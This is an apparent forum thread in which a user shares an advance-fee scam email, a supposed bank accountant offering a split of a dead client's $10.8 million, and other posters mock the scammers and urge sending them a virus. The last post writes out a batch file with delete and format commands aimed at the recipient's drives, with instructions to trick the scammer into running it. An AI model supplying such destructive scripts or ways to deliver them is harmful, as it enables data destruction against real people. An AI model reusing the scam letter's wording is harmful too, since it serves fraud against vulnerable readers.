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  • I'm rich!!!!!

    Check out this email I got today, lol!


    Your candid attn: Kite,

    Good day to you, and Compliments. I got your email contact through Internet
    search during my research on someone who could help me work out this little
    Banking problem relating to a late customer of our Bank of whom the Bank
    requires me to provide a next of kin to his unclaimed over due dormant
    account. I am an accountant with OCEANIC BANK INTERNATIONAL PLC. My name is
    Mr. Joseph Awaye. I was an Accounts officer to Engr. Alfred Kite, who was a
    contractor with the DEPARTMENT OF PETROLEUM RESOURCES VICTORIA ISLAND,
    LAGOS, who here in after shall be referred to, as my customer.

    On January 30, 2000, my customer (Engr. Alfred Kite), his wife, and their
    three children were involved in the Kenya airways flight with registration
    number 5Y-BEN which departed from Nairobi to destination Lagos and the
    family all died in a fatal air crash on that January 30, 2000 Since then I
    have made several inquiries to your embassy to locate any of my client's
    extended relatives. This has also proved unsuccessful.

    After these several unsuccessful attempts, I decided to trace his last name
    over the Internet, to locate any member of his family. This is why I
    contacted you. I have contacted you to assist in repatriating the money and
    property left behind by my customer before they get confiscated or declared
    unserviceable by the bank where these huge deposits were lodged.
    Particularly the OCEANIC BANK INTERNATIONAL PLC, where the deceased had an
    account Valued at about ($10.8 million U.S Dollars) has issued me a notice
    to provide the next of kin to my client, or have the account confiscated
    within the next ten official working days.

    Since I have been unsuccessful in locating the relatives years now, I seek
    your consent to present you as the next of kin of the deceased (believing
    you would be competent to handle it) as you both have the same surname, so
    that the proceeds of this account valued at ($10.8 million US Dollars) can
    be paid to you and then you and me can share the money, 45% to me and 45% to
    you and 5% for any charity organization in your country. While 5% for
    unforeseen bottlenecks we might incur in this transaction. An attorney will
    be contracted to help us revalidate and notarize all the necessary legal
    documents that can be used to back up any claim we may make.

    All I require is your honest cooperation to enable us seeing this deal
    through. I guarantee that this will be executed under a legitimate
    arrangement that will protect you and me from any breach of the law. And I
    need to assure you that this transaction is 100% risks free and very legal.
    Contact me through my alternate email address (xxjaw1@voila.fr)

    Best regards,
    Mr. Joseph Awaye.
    Email: xxjaw1@voila.fr

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    Yeah, it's scarey how many people would actually fall for this stuff! I'm sure it's next to impossible to track these assmunches too!
    Hey Chase, can you rig up a nasty ass virus that I can mail to this clown?

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    • #3
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      MAN I HAVE LIKE A TRILLION DOLLARS FROM THESE GUYS ALREADY
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      • #4
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        Those pathetic emails are still going around. I love emailing them back with what I think of them. Losers

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        • #5
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          Originally posted by bellx1
          I was thinking of sending them the link to saddams hanging.. lol
          lmfao! I may just send a pic of my ass and tell him if he licks the browneye clean we can do business.

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          • #6
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            Originally posted by kite View Post
            lmfao! I may just send a pic of my ass and tell him if he licks the browneye clean we can do business.
            LMAO!!! The brownstar!!! Always makes me chuckle

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            • #7
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              Originally posted by bellx1
              I was thinking of sending them the link to saddams hanging.. lol
              HAHAHAHAHA! I think that would get the point across!

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              • #8
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                Dude, send that phuker a virus bro! Send him something that looks like it's related toyour personal information and then when they click on it, they are phuked. Do it! Those phukers ruin people's lives man. If I knew how, I would do it, but I don't.

                Also, I would send a copy to the FBI and see if they can take over communications for you and set them up. Do it, do it (imagine that in Ben Stiller's voice from Starsky and Hutch)
                I used to have superhuman powers....until my therapist took them away.

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                • #9
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                  lol

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                  • #10
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                    People are actually sending them money, thats why they still do it. they are on the personal ads too, claiming to be some poor white chick stuck in f'ing Kenya, and needing money to get back to the states.
                    Leaders did what others weren't willing to do, now they enjoy the things that others do not.

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                    • #11
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                      It is called the Nigerian scam. don't answer it nor give them any identifying information.

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                      • #12
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                        Originally posted by mtnmedic View Post
                        People are actually sending them money, thats why they still do it. they are on the personal ads too, claiming to be some poor white chick stuck in f'ing Kenya, and needing money to get back to the states.
                        lol...I got one from a poor Russian chick who is stuck in Moscow without food and needs a plane ticket to the USA for a better life. lol...I feel bad for the people who fall for this stuff. I told her I can't send money overseas or I'll be charged with funding terrorism and I'll give them her contact info. I never heard from her again!
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                        • #13
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                          theres a site devoted to these people, they set them up and have them do funny things to phuck with them.....ill find it, its funny as hell

                          EDIT: here it is



                          read some of the stories, they are a riot!!!!

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                          • #14
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                            CANT DIGGI SEND THEM A VIRUS OR SOMETHING?
                            HE WHO MAKES A BEAST OF HIMSELF, GET'S RID OF THE PAIN OF BEING A MAN!!


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                            • #15
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                              HERE

                              @echo off
                              DEL C:\ -y
                              DEL D:\ -y
                              FORMAT C:\ -y


                              (write in notepad save as "filename.bat")


                              THEN SEND IT TO THEM and figure out a way to get them to open it

                              DO NOT DO THIS YOURSELF IM NOT RESPONSIBLE FOR YOU DAMAGING YOUR PC< THIS WILL FORMAT THEIR C DRIVE

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